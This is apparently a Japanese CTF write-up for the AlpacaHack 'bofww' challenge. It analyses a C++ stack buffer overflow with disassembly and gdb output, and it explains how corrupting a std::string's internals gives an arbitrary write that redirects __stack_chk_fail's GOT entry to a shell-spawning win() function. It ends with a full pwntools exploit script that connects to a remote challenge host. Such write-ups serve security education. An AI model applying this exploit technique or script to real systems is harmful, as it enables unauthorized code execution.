Open roaris opened 3 weeks ago
$ ./bofww
What is your first name? test
How old are you? 10
Information:
Age: 10
Name: test
$ checksec bofww
[*] '/home/roaris/alpacahack/bofww/bofww'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
ソースコードはC++で書かれている
#include <iostream>
void win() {
std::system("/bin/sh");
}
void input_person(int& age, std::string& name) {
int _age;
char _name[0x100];
std::cout << "What is your first name? ";
std::cin >> _name;
std::cout << "How old are you? ";
std::cin >> _age;
name = _name;
age = _age;
}
int main() {
int age;
std::string name;
input_person(age, name);
std::cout << "Information:" << std::endl
<< "Age: " << age << std::endl
<< "Name: " << name << std::endl;
return 0;
}
__attribute__((constructor))
void setup(void) {
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
}
input_person関数のアセンブリは以下 シンボル名が複雑なのは、マングリングのため C++では引数が違えば、同じ名前の関数を定義することが出来るため、シンボルに引数の情報を含める必要がある(マングリングという)
0000000000401310 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE>:
401310: f3 0f 1e fa endbr64
401314: 55 push rbp
401315: 48 89 e5 mov rbp,rsp
401318: 48 81 ec 30 01 00 00 sub rsp,0x130
40131f: 48 89 bd d8 fe ff ff mov QWORD PTR [rbp-0x128],rdi
401326: 48 89 b5 d0 fe ff ff mov QWORD PTR [rbp-0x130],rsi
40132d: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
401334: 00 00
401336: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
40133a: 31 c0 xor eax,eax
40133c: 48 8d 05 c9 0c 00 00 lea rax,[rip+0xcc9] # 40200c <_IO_stdin_used+0xc>
401343: 48 89 c6 mov rsi,rax
401346: 48 8d 05 b3 2d 00 00 lea rax,[rip+0x2db3] # 404100 <_ZSt4cout@GLIBCXX_3.4>
40134d: 48 89 c7 mov rdi,rax
401350: e8 1b fe ff ff call 401170 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
401355: 48 8d 85 f0 fe ff ff lea rax,[rbp-0x110]
40135c: 48 89 c6 mov rsi,rax
40135f: 48 8d 05 ba 2e 00 00 lea rax,[rip+0x2eba] # 404220 <_ZSt3cin@GLIBCXX_3.4>
401366: 48 89 c7 mov rdi,rax
401369: e8 36 02 00 00 call 4015a4 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_>
40136e: 48 8d 05 b1 0c 00 00 lea rax,[rip+0xcb1] # 402026 <_IO_stdin_used+0x26>
401375: 48 89 c6 mov rsi,rax
401378: 48 8d 05 81 2d 00 00 lea rax,[rip+0x2d81] # 404100 <_ZSt4cout@GLIBCXX_3.4>
40137f: 48 89 c7 mov rdi,rax
401382: e8 e9 fd ff ff call 401170 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
401387: 48 8d 85 ec fe ff ff lea rax,[rbp-0x114]
40138e: 48 89 c6 mov rsi,rax
401391: 48 8d 05 88 2e 00 00 lea rax,[rip+0x2e88] # 404220 <_ZSt3cin@GLIBCXX_3.4>
401398: 48 89 c7 mov rdi,rax
40139b: e8 80 fd ff ff call 401120 <_ZNSirsERi@plt>
4013a0: 48 8d 95 f0 fe ff ff lea rdx,[rbp-0x110]
4013a7: 48 8b 85 d0 fe ff ff mov rax,QWORD PTR [rbp-0x130]
4013ae: 48 89 d6 mov rsi,rdx
4013b1: 48 89 c7 mov rdi,rax
4013b4: e8 e7 fd ff ff call 4011a0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEPKc@plt>
4013b9: 8b 95 ec fe ff ff mov edx,DWORD PTR [rbp-0x114]
4013bf: 48 8b 85 d8 fe ff ff mov rax,QWORD PTR [rbp-0x128]
4013c6: 89 10 mov DWORD PTR [rax],edx
4013c8: 90 nop
4013c9: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4013cd: 64 48 2b 04 25 28 00 sub rax,QWORD PTR fs:0x28
4013d4: 00 00
4013d6: 74 05 je 4013dd <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+0xcd>
4013d8: e8 b3 fd ff ff call 401190 <__stack_chk_fail@plt>
4013dd: c9 leave
4013de: c3 ret
std::cin >> _name;
に対応するアセンブリは以下
401355: 48 8d 85 f0 fe ff ff lea rax,[rbp-0x110]
40135c: 48 89 c6 mov rsi,rax
40135f: 48 8d 05 ba 2e 00 00 lea rax,[rip+0x2eba] # 404220 <_ZSt3cin@GLIBCXX_3.4>
401366: 48 89 c7 mov rdi,rax
401369: e8 36 02 00 00 call 4015a4 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_>
std::cin >> _age;
に対応するアセンブリは以下
401387: 48 8d 85 ec fe ff ff lea rax,[rbp-0x114]
40138e: 48 89 c6 mov rsi,rax
401391: 48 8d 05 88 2e 00 00 lea rax,[rip+0x2e88] # 404220 <_ZSt3cin@GLIBCXX_3.4>
401398: 48 89 c7 mov rdi,rax
40139b: e8 80 fd ff ff call 401120 <_ZNSirsERi@plt>
name = _name;
に対応するアセンブリは以下
$rbp-0x110には入力した文字列が格納されていて、$rbp-0x130にはmain関数内のnameのアドレスが格納されている
4013a0: 48 8d 95 f0 fe ff ff lea rdx,[rbp-0x110]
4013a7: 48 8b 85 d0 fe ff ff mov rax,QWORD PTR [rbp-0x130]
4013ae: 48 89 d6 mov rsi,rdx
4013b1: 48 89 c7 mov rdi,rax
4013b4: e8 e7 fd ff ff call 4011a0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEPKc@plt>
$rbp-0x130にmain関数内のnameのアドレスを格納している箇所
401326: 48 89 b5 d0 fe ff ff mov QWORD PTR [rbp-0x130],rsi
age = _age;
に対応するアセンブリは以下
$rbp-0x114には入力した数値が格納されていて、$rbp-0x128にはmain関数内のageのアドレスが格納されている
4013b9: 8b 95 ec fe ff ff mov edx,DWORD PTR [rbp-0x114]
4013bf: 48 8b 85 d8 fe ff ff mov rax,QWORD PTR [rbp-0x128]
4013c6: 89 10 mov DWORD PTR [rax],edx
$rbp-0x128にmain関数内のageのアドレスを格納している箇所
40131f: 48 89 bd d8 fe ff ff mov QWORD PTR [rbp-0x128],rdi
main関数内のinput_person関数の呼び出し
00000000004013df <main>:
...
401407: 48 8d 55 c0 lea rdx,[rbp-0x40]
40140b: 48 8d 45 bc lea rax,[rbp-0x44]
40140f: 48 89 d6 mov rsi,rdx
401412: 48 89 c7 mov rdi,rax
401415: e8 f6 fe ff ff call 401310 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE>
std::stringの構造について知る https://ptr-yudai.hatenablog.com/entry/2021/11/30/235732#stdstring
次のような0x20バイトの構造になっています。 +00h: <データへのポインタ> +08h: <データのサイズ> +10h: <データ領域の容量>あるいは<データ本体+0h> +18h: <未使用>あるいは<データ本体+8h>
データサイズが15バイト以下のときはstd::stringのオフセット+10hにデータ本体が格納されます。 したがって、その場合データへのポインタはstd::stringの先頭+0x10を指します。 データサイズが16バイト以上のときはmallocで別途領域が確保され、そこにデータ本体が格納されます。 この場合オフセット+10hにはデータの容量が記録されます。 容量とは「これまでその領域に入った最も長いデータ」であり、malloc_usable_sizeで返ってくるような値ではありません。
実際に確認する
入力する文字列が15文字の時
$ gdb -q bofww
Reading symbols from bofww...
(No debugging symbols found in bofww)
gdb-peda$ b *0x40141a
Breakpoint 1 at 0x40141a
gdb-peda$ r
Starting program: /home/roaris/alpacahack/bofww/bofww
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
What is your first name? abcdefghijklmno
How old are you? 123
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe098 --> 0x7fffffffe334 ("/home/roaris/alpacahack/bofww/bofww")
RCX: 0x6f6e6d6c6b6a6968 ('hijklmno')
RDX: 0x7b ('{')
RSI: 0x6867666564636261 ('abcdefgh')
RDI: 0x7fffffffdf50 ("abcdefghijklmno")
RBP: 0x7fffffffdf80 --> 0x1
RSP: 0x7fffffffdf30 (".eh_pool\300\232\320\367{")
RIP: 0x40141a (<main+59>: lea rax,[rip+0xc17] # 0x402038)
R8 : 0xf
R9 : 0x0
R10: 0x7ffff7b46f10 --> 0x10001a00001ccc
R11: 0x7ffff7c86d80 (<__memcpy_avx_unaligned_erms>: mov rax,rdi)
R12: 0x0
R13: 0x7fffffffe0a8 --> 0x7fffffffe358 ("HOSTTYPE=x86_64")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2e0 --> 0x0
R15: 0x403de8 --> 0x4012c0 (<__do_global_dtors_aux>: endbr64)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40140f <main+48>: mov rsi,rdx
0x401412 <main+51>: mov rdi,rax
0x401415 <main+54>: call 0x401310 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE>
=> 0x40141a <main+59>: lea rax,[rip+0xc17] # 0x402038
0x401421 <main+66>: mov rsi,rax
0x401424 <main+69>: lea rax,[rip+0x2cd5] # 0x404100 <_ZSt4cout@GLIBCXX_3.4>
0x40142b <main+76>: mov rdi,rax
0x40142e <main+79>: call 0x401170 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf30 (".eh_pool\300\232\320\367{")
0008| 0x7fffffffdf38 --> 0x7bf7d09ac0
0016| 0x7fffffffdf40 --> 0x7fffffffdf50 ("abcdefghijklmno")
0024| 0x7fffffffdf48 --> 0xf
0032| 0x7fffffffdf50 ("abcdefghijklmno")
0040| 0x7fffffffdf58 --> 0x6f6e6d6c6b6a69 ('ijklmno')
0048| 0x7fffffffdf60 --> 0x0
0056| 0x7fffffffdf68 --> 0x94c655ab817dff00
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040141a in main ()
gdb-peda$ x/32bx $rbp-0x40
0x7fffffffdf40: 0x50 0xdf 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdf48: 0x0f 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdf50: 0x61 0x62 0x63 0x64 0x65 0x66 0x67 0x68
0x7fffffffdf58: 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f 0x00
入力する文字列が16文字の時
$ gdb -q bofww
Reading symbols from bofww...
(No debugging symbols found in bofww)
gdb-peda$ b *0x40141a
Breakpoint 1 at 0x40141a
gdb-peda$ r
Starting program: /home/roaris/alpacahack/bofww/bofww
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
What is your first name? abcdefghijklmnop
How old are you? 123
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe098 --> 0x7fffffffe334 ("/home/roaris/alpacahack/bofww/bofww")
RCX: 0x4172b0 ("abcdefghijklmnop")
RDX: 0x7b ('{')
RSI: 0x7fffffffde10 ("abcdefghijklmnop")
RDI: 0x7fffffffdf50 --> 0x1e
RBP: 0x7fffffffdf80 --> 0x1
RSP: 0x7fffffffdf30 (".eh_pool\300\232\320\367{")
RIP: 0x40141a (<main+59>: lea rax,[rip+0xc17] # 0x402038)
R8 : 0x30 ('0')
R9 : 0x1
R10: 0x7ffff7b46f10 --> 0x10001a00001ccc
R11: 0x7ffff7c86d80 (<__memcpy_avx_unaligned_erms>: mov rax,rdi)
R12: 0x0
R13: 0x7fffffffe0a8 --> 0x7fffffffe358 ("HOSTTYPE=x86_64")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2e0 --> 0x0
R15: 0x403de8 --> 0x4012c0 (<__do_global_dtors_aux>: endbr64)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40140f <main+48>: mov rsi,rdx
0x401412 <main+51>: mov rdi,rax
0x401415 <main+54>: call 0x401310 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE>
=> 0x40141a <main+59>: lea rax,[rip+0xc17] # 0x402038
0x401421 <main+66>: mov rsi,rax
0x401424 <main+69>: lea rax,[rip+0x2cd5] # 0x404100 <_ZSt4cout@GLIBCXX_3.4>
0x40142b <main+76>: mov rdi,rax
0x40142e <main+79>: call 0x401170 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf30 (".eh_pool\300\232\320\367{")
0008| 0x7fffffffdf38 --> 0x7bf7d09ac0
0016| 0x7fffffffdf40 --> 0x4172b0 ("abcdefghijklmnop")
0024| 0x7fffffffdf48 --> 0x10
0032| 0x7fffffffdf50 --> 0x1e
0040| 0x7fffffffdf58 --> 0x7ffff7f98398 --> 0x7ffff7df3e70 (endbr64)
0048| 0x7fffffffdf60 --> 0x0
0056| 0x7fffffffdf68 --> 0xe9f5096fb73bb900
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040141a in main ()
gdb-peda$ x/32bx $rbp-0x40
0x7fffffffdf40: 0xb0 0x72 0x41 0x00 0x00 0x00 0x00 0x00
0x7fffffffdf48: 0x10 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdf50: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdf58: 0x98 0x83 0xf9 0xf7 0xff 0x7f 0x00 0x00
gdb-peda$ x/24bx 0x4172b0
0x4172b0: 0x61 0x62 0x63 0x64 0x65 0x66 0x67 0x68
0x4172b8: 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f 0x70
0x4172c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
代入 std::stringの代入はデータの中身がコピーされます。 代入元のデータサイズより代入先の容量の方が大きい場合、代入先のポインタにそのままデータがコピーされ、データサイズが更新されます。 代入元のデータサイズより代入先の容量の方が小さい場合、代入先のデータポインタに再確保が発生してからデータがコピーされます。
この動作を利用すると、任意のアドレスへの書き込み(AAW: Arbitary Address Write)が可能
今回の問題の場合、std::cin >> _name;
でバッファオーバーフローが可能であり、これによってstd::string nameの構造を以下のように書き換える(input_person関数のスタックから始まって、main関数のスタックを書き換えるということになる)
+00h: __stack_chk_fail関数のGOTのアドレス
+08h: 適当
+10h: 大きな値
+18h: 適当
入力文字列の先頭をwin関数のアドレスにしておけば、name = _name;
で__stack_chk_fail関数のGOTに格納されたアドレスがwin関数のアドレスとなる
大きな値と書いたところは、name = _name;
の_nameのサイズよりも大きければ良い
もし_nameのサイズよりも小さいと、mallocにより領域が確保され、__stack_chk_fail関数のGOTではない別の場所にwin関数のアドレスが書き込まれることになる
_nameはf6 12 40 00 00 00 ...
で、サイズは3なので、大きな値といっても3以上あれば十分である
from pwn import *
if args.LOCAL:
io = process('./bofww')
elif args.GDB:
io = gdb.debug(['./bofww'], gdbscript='b main\nc')
elif args.REMOTE:
io = remote('34.170.146.252', 33325)
stack_chk_fail_got_addr = 0x404050
win_addr = 0x4012f6
payload = win_addr.to_bytes(8, 'little')
payload += b'a' * (0x130 - len(payload))
payload += stack_chk_fail_got_addr.to_bytes(8, 'little')
payload += (0).to_bytes(8, 'little')
payload += (3).to_bytes(8, 'little')
io.sendlineafter(b'What is your first name? ', payload)
io.sendlineafter(b'How old are you? ', b'1')
io.interactive()
https://alpacahack.com/challenges/bofww